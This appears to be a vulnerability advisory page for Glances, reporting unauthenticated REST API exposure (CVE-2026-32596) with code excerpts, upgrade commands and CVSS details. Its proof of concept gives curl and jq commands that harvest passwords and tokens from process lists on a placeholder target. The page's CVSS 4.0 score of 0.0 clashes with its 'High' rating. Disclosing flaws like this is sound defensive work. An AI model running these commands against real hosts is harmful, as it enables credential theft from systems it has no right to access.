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GHSA-wvxv-4j8q-4wjq CVE-2026-32596 PYSEC-2026-2166

Glances exposes the REST API without authentication

High PyPI
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
1.55%
Chance of exploitation in the next 30 days. Higher than 75.08% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
Fix
4.5.2
Upgrade glances to this version or later

Description

Summary

Glances web server runs without authentication by default when started with glances -w, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client.

Details

Root Cause: Authentication is optional and disabled by default. When no password is provided, the API router initializes without authentication dependency, and the server binds to 0.0.0.0 exposing all endpoints.

Affected Code:

  • File: glances/outputs/glances_restful_api.py, lines 259-272
if self.args.password:
    self._password = GlancesPassword(username=args.username, config=config)
    if JWT_AVAILABLE:
        jwt_secret = config.get_value('outputs', 'jwt_secret_key', default=None)
        jwt_expire = config.get_int_value('outputs', 'jwt_expire_minutes', default=60)
        self._jwt_handler = JWTHandler(secret_key=jwt_secret, expire_minutes=jwt_expire)
        logger.info(f"JWT authentication enabled (token expiration: {jwt_expire} minutes)")
    else:
        self._jwt_handler = None
        logger.info("JWT authentication not available (python-jose not installed)")
else:
    self._password = None  # NO AUTHENTICATION BY DEFAULT
    self._jwt_handler = None
  • File: glances/outputs/glances_restful_api.py, lines 477-480
if self.args.password:
    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
    router = APIRouter(prefix=self.url_prefix)  # NO AUTH DEPENDENCY
  • File: glances/outputs/glances_restful_api.py, lines 98-99
self.bind_address = args.bind_address or "0.0.0.0"  # BINDS TO ALL INTERFACES
self.port = args.port or 61208
  • File: glances/plugins/processlist/__init__.py, lines 127-140
enable_stats = [
    'cpu_percent',
    'memory_percent',
    'memory_info',
    'pid',
    'username',
    'cpu_times',
    'num_threads',
    'nice',
    'status',
    'io_counters',
    'cpu_num',
    'cmdline',  # FULL COMMAND LINE EXPOSED, NO SANITIZATION
]

PoC

  1. Start Glances in default web server mode:
glances -w
# Output: Glances Web User Interface started on http://0.0.0.0:61208/
  1. Access API without authentication from any network client:
curl -s http://TARGET:61208/api/4/system | jq .

<img width="593" height="265" alt="image" src="https://github.com/user-attachments/assets/4ec461be-b480-46d5-88e2-f4004f4dae54" />

  1. Extract system information:
curl -s http://TARGET:61208/api/4/all > system_dump.json

<img width="688" height="547" alt="image" src="https://github.com/user-attachments/assets/7564fb2a-7d94-4c26-848a-03034214b8c7" />

  1. Harvest credentials from process list:
curl -s http://TARGET:61208/api/4/processlist | \
  jq -r '.[] | select(.cmdline | tostring | test("password|api-key|token|secret"; "i")) | 
  {pid, username, process: .name, cmdline}'
  1. Example credential exposure:
{
  "pid": 4059,
  "username": "root",
  "process": "python3",
  "cmdline": [
    "python3",
    "-c",
    "import time; time.sleep(3600)",
    "--api-key=sk-super-secret-token-12345",
    "--password=MySecretPassword123",
    "--db-pass=admin123"
  ]
}

Impact

Complete system reconnaissance and credential harvesting from any network client. Exposed endpoints include system info, process lists with full command-line arguments (containing passwords/API keys/tokens), network connections, filesystems, and Docker containers. Enables lateral movement and targeted attacks using stolen credentials.

Affected versions

PyPI

PackageVulnerableFixed in
glances
< 4.5.2
4.5.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

glances PyPI → 4.5.2

pip
pip install --upgrade "glances>=4.5.2"
poetry
poetry add "glances>=4.5.2"
uv
uv add "glances>=4.5.2"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

How to prevent it
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-4h34-v6r8-mmjc
Glances: as_dict_secure() Value-Level Bypass Leaks Credentials in URL Values via /api/4/config
Medium Also affects glances
GHSA-59fj-m2j6-hcxh
Glances: `--disable-config-exec` does not cover on-alert action commands (incomplete fix of CVE-2026-53925)
High Also affects glances
GHSA-73wf-9vmv-5pv9
Glances: Incomplete fix of CVE-2026-32608: action-template sanitizer is bypassed by nested stat values (process 'cmdline') → OS command injection
High Also affects glances
GHSA-fp27-88fp-2phg
Glances: REST API CORS Credentials Guard Uses Exact-Match Instead of Membership Test — Bypassed by Any Multi-Origin Allowlist Containing the Wildcard
Medium Also affects glances
GHSA-qcpp-8x79-hhp3
Glances has a command injection bypass of action-template sanitizer via cross-field shell-operator reconstruction
High Also affects glances
GHSA-3vwc-qwhc-3mj7
Glances has arbitrary file write and command execution via `secure_popen` redirection and chaining operators in AMP command configuration
High Also affects glances
GHSA-w856-8p3r-p338
Glances: XML-RPC Server Missing Host Header Validation Enables DNS Rebinding Attack
Medium Also affects glances
GHSA-87qc-fj39-wccr
Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533)
High Also affects glances
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